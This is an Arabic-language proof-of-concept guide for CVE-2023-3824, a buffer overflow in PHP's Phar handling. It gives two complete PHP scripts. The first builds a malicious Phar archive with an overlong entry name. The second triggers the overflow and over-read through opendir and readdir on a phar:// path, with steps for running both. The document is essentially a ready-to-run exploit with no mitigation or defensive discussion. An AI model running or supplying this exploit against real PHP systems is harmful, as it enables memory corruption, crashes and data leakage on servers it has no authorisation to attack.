إثبات المفهوم لملف Phar ضار في PHP (CVE-2023-3824)

الوصف

يوضح هذا الإثبات العملي (PoC) كيفية إنشاء ملف Phar ضار في PHP وبدء ثغرة تجاوز السعة المخزنية.

الاستخدام

إنشاء ملف Phar الضار

1. أنشئ ملف PHP جديد (مثل create_phar.php) وأضف الكود التالي:

<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>

نفذ النص PHP لإنشاء ملف Phar الضار: انسخ الكود

php create_phar.php

تشغيل تجاوز السعة المخزنية

أنشئ ملف PHP آخر (مثل trigger_overflow.php) وأضف الكود التالي:

<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);

var_dump($x);
?>

نفذ النص PHP لتشغيل تجاوز السعة المخزنية: انسخ الكود

php trigger_overflow.php

سيقوم البيان var_dump($x) بإخراج نتيجة عملية تجاوز السعة المخزنية والقراءة الزائدة.